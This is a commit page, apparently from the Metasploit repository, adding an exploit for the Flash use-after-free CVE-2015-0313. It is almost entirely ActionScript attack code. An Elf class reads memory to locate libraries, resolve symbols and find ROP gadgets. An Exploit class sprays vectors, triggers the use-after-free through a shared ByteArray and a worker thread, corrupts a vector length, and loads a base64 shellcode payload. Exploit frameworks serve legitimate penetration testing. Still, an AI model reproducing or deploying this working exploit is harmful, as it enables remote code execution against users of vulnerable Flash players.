Skip to content

Commit 4c5b1fb

Browse files
committed
Land rapid7#5522, adobe_flash_worker_byte_array_uaf in the flash renderer
2 parents 8dad739 + 0d2454d commit 4c5b1fb

File tree

10 files changed

+1022
-219
lines changed

10 files changed

+1022
-219
lines changed

data/exploits/CVE-2015-0313/msf.swf

100755100644
2.93 KB
Binary file not shown.
Lines changed: 235 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,235 @@
1+
package
2+
{
3+
public class Elf
4+
{
5+
private const PT_DYNAMIC:uint = 2
6+
private const PT_LOAD:uint = 1
7+
private const PT_READ_EXEC:uint = 5
8+
private const DT_SYMTAB:uint = 6
9+
private const DT_STRTAB:uint = 5
10+
private const DT_PLTGOT:uint = 3
11+
12+
private var e_ba:ExploitByteArray
13+
// elf base address
14+
public var base:uint = 0
15+
// program header address
16+
public var ph:uint = 0
17+
// number of program headers
18+
public var ph_size:uint = 0
19+
// program header entry size
20+
public var ph_esize:uint = 0
21+
// DYNAMIC segment address
22+
public var seg_dynamic:uint = 0
23+
// DYNAMIC segment size
24+
public var seg_dynamic_size:uint = 0
25+
// CODE segment address
26+
public var seg_exec:uint = 0
27+
// CODE segment size
28+
public var seg_exec_size:uint = 0
29+
// .dynsyn section address
30+
public var sec_dynsym:uint = 0
31+
// .synstr section address
32+
public var sec_dynstr:uint = 0
33+
// .got.plt section address
34+
public var sec_got_plt:uint = 0
35+
36+
public function Elf(ba:ExploitByteArray, addr:uint)
37+
{
38+
e_ba = ba
39+
set_base(addr)
40+
set_program_header()
41+
set_program_header_size()
42+
set_program_header_entry_size()
43+
set_dynamic_segment()
44+
set_exec_segment()
45+
set_dynsym()
46+
set_dynstr()
47+
set_got_plt()
48+
}
49+
50+
public function external_symbol(name:String):uint {
51+
var entry:uint = 0
52+
var st_name:uint = 0
53+
var st_value:uint = 0
54+
var st_size:uint = 0
55+
var st_info:uint = 0
56+
var st_other:uint = 0
57+
var st_shndx:uint = 0
58+
var st_string:String = ""
59+
var got_plt_index:uint = 0
60+
61+
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
62+
entry = sec_dynsym + 0x10 + (i * 0x10)
63+
st_name = e_ba.read(entry)
64+
st_value = e_ba.read(entry + 4)
65+
st_info = e_ba.read(entry + 0xc, "byte")
66+
st_string = e_ba.read_string(sec_dynstr + st_name)
67+
if (st_string == name) {
68+
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
69+
}
70+
if (st_info != 0x11) {
71+
got_plt_index++
72+
}
73+
}
74+
throw new Error()
75+
}
76+
77+
public function symbol(name:String):uint {
78+
var entry:uint = 0
79+
var st_name:uint = 0
80+
var st_value:uint = 0
81+
var st_size:uint = 0
82+
var st_info:uint = 0
83+
var st_other:uint = 0
84+
var st_shndx:uint = 0
85+
var st_string:String = ""
86+
87+
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
88+
entry = sec_dynsym + 0x10 + (i * 0x10)
89+
st_name = e_ba.read(entry)
90+
st_value = e_ba.read(entry + 4)
91+
st_info = e_ba.read(entry + 0xc, "byte")
92+
st_string = e_ba.read_string(sec_dynstr + st_name)
93+
if (st_string == name) {
94+
return base + st_value
95+
}
96+
}
97+
throw new Error()
98+
}
99+
100+
101+
public function gadget(gadget:String, hint:uint):uint
102+
{
103+
var value:uint = parseInt(gadget, 16)
104+
var contents:uint = 0
105+
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
106+
contents = e_ba.read(seg_exec + i)
107+
if (hint == 0xffffffff && value == contents) {
108+
return seg_exec + i
109+
}
110+
if (hint != 0xffffffff && value == (contents & hint)) {
111+
return seg_exec + i
112+
}
113+
}
114+
throw new Error()
115+
}
116+
117+
private function set_base(addr:uint):void
118+
{
119+
addr &= 0xffff0000
120+
while (true) {
121+
if (e_ba.read(addr) == 0x464c457f) {
122+
base = addr
123+
return
124+
}
125+
addr -= 0x1000
126+
}
127+
128+
throw new Error()
129+
}
130+
131+
private function set_program_header():void
132+
{
133+
ph = base + e_ba.read(base + 0x1c)
134+
}
135+
136+
private function set_program_header_size():void
137+
{
138+
ph_size = e_ba.read(base + 0x2c, "word")
139+
}
140+
141+
private function set_program_header_entry_size():void
142+
{
143+
ph_esize = e_ba.read(base + 0x2a, "word")
144+
}
145+
146+
private function set_dynamic_segment():void
147+
{
148+
var entry:uint = 0
149+
var p_type:uint = 0
150+
151+
for (var i:uint = 0; i < ph_size; i++) {
152+
entry = ph + (i * ph_esize)
153+
p_type = e_ba.read(entry)
154+
if (p_type == PT_DYNAMIC) {
155+
seg_dynamic = base + e_ba.read(entry + 8)
156+
seg_dynamic_size = e_ba.read(entry + 0x14)
157+
return
158+
}
159+
}
160+
161+
throw new Error()
162+
}
163+
164+
private function set_exec_segment():void
165+
{
166+
var entry:uint = 0
167+
var p_type:uint = 0
168+
var p_flags:uint = 0
169+
170+
for (var i:uint = 0; i < ph_size; i++) {
171+
entry = ph + (i * ph_esize)
172+
p_type = e_ba.read(entry)
173+
p_flags = e_ba.read(entry + 0x18)
174+
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
175+
seg_exec = base + e_ba.read(entry + 8)
176+
seg_exec_size = e_ba.read(entry + 0x14)
177+
return
178+
}
179+
}
180+
181+
throw new Error()
182+
}
183+
184+
private function set_dynsym():void
185+
{
186+
var entry:uint = 0
187+
var s_type:uint = 0
188+
189+
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
190+
entry = seg_dynamic + i
191+
s_type = e_ba.read(entry)
192+
if (s_type == DT_SYMTAB) {
193+
sec_dynsym = e_ba.read(entry + 4)
194+
return
195+
}
196+
}
197+
198+
throw new Error()
199+
}
200+
201+
private function set_dynstr():void
202+
{
203+
var entry:uint = 0
204+
var s_type:uint = 0
205+
206+
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
207+
entry = seg_dynamic + i
208+
s_type = e_ba.read(entry)
209+
if (s_type == DT_STRTAB) {
210+
sec_dynstr = e_ba.read(entry + 4)
211+
return
212+
}
213+
}
214+
215+
throw new Error()
216+
}
217+
218+
private function set_got_plt():void
219+
{
220+
var entry:uint = 0
221+
var s_type:uint = 0
222+
223+
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
224+
entry = seg_dynamic + i
225+
s_type = e_ba.read(entry)
226+
if (s_type == DT_PLTGOT) {
227+
sec_got_plt = e_ba.read(entry + 4)
228+
return
229+
}
230+
}
231+
232+
throw new Error()
233+
}
234+
}
235+
}
Lines changed: 113 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,113 @@
1+
// Build how to:
2+
// 1. Download the AIRSDK, and use its compiler.
3+
// 2. Be support to support 16.0 as target-player (flex-config.xml).
4+
// 3. Download the Flex SDK (4.6)
5+
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
6+
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
7+
// 5. Build with: mxmlc -o msf.swf Main.as
8+
9+
// Original code by @hdarwin89 // http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/
10+
// Modified to be used from msf
11+
package
12+
{
13+
import flash.display.Sprite
14+
import flash.display.LoaderInfo
15+
import flash.events.Event
16+
import flash.utils.ByteArray
17+
import flash.system.Worker
18+
import flash.system.WorkerDomain
19+
import flash.system.MessageChannel
20+
import flash.system.ApplicationDomain
21+
import avm2.intrinsics.memory.casi32
22+
import mx.utils.Base64Decoder
23+
24+
public class Exploit extends Sprite
25+
{
26+
private var ov:Vector.<Object> = new Vector.<Object>(80000)
27+
private var uv:Vector.<uint>
28+
private var ba:ByteArray = new ByteArray()
29+
private var worker:Worker
30+
private var mc:MessageChannel
31+
private var b64:Base64Decoder = new Base64Decoder()
32+
private var payload:ByteArray
33+
private var platform:String
34+
private var os:String
35+
private var exploiter:Exploiter
36+
37+
public function Exploit()
38+
{
39+
if (Worker.current.isPrimordial) mainThread()
40+
else workerThread()
41+
}
42+
43+
private function mainThread():void
44+
{
45+
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
46+
os = LoaderInfo(this.root.loaderInfo).parameters.os
47+
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
48+
var pattern:RegExp = / /g;
49+
b64_payload = b64_payload.replace(pattern, "+")
50+
b64.decode(b64_payload)
51+
payload = b64.toByteArray()
52+
53+
ba.length = 0x1000
54+
ba.shareable = true
55+
for (var i:uint = 0; i < ov.length; i++) {
56+
ov[i] = new Vector.<uint>(1014)
57+
ov[i][0] = 0xdeedbeef
58+
}
59+
for (i = 0; i < 70000; i += 2) {
60+
delete(ov[i])
61+
}
62+
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
63+
mc = worker.createMessageChannel(Worker.current)
64+
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
65+
worker.setSharedProperty("mc", mc)
66+
worker.setSharedProperty("ba", ba)
67+
ApplicationDomain.currentDomain.domainMemory = ba
68+
worker.start()
69+
}
70+
71+
private function workerThread():void
72+
{
73+
var ba:ByteArray = Worker.current.getSharedProperty("ba")
74+
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
75+
ba.clear()
76+
ov[0] = new Vector.<uint>(1022)
77+
mc.send("")
78+
while (mc.messageAvailable);
79+
for (var i:uint = 0;; i++) {
80+
if (ov[0][i] == 1014 && ov[0][i + 2] == 0xdeedbeef) {
81+
ov[0][i] = 0xffffffff
82+
break
83+
}
84+
}
85+
ov[0][0xfffffffe] = 1014
86+
mc.send("")
87+
}
88+
89+
private function onMessage(e:Event):void
90+
{
91+
var mod:uint = casi32(0, 1022, 0xFFFFFFFF)
92+
Logger.log("[*] Exploit - onMessage(): mod: " + mod.toString())
93+
if (mod == 1022) mc.receive()
94+
else {
95+
for (var i:uint = 0; i < ov.length; i++) {
96+
if (ov[i].length == 0xffffffff) {
97+
uv = ov[i]
98+
} else {
99+
if (ov[i] != null) {
100+
delete(ov[i])
101+
ov[i] = null
102+
}
103+
}
104+
}
105+
if (uv == null) {
106+
Logger.log("[!] Exploit - onMessage(): Corrupted Vector not found")
107+
return
108+
}
109+
exploiter = new Exploiter(this, platform, os, payload, uv)
110+
}
111+
}
112+
}
113+
}

0 commit comments

Comments
 (0)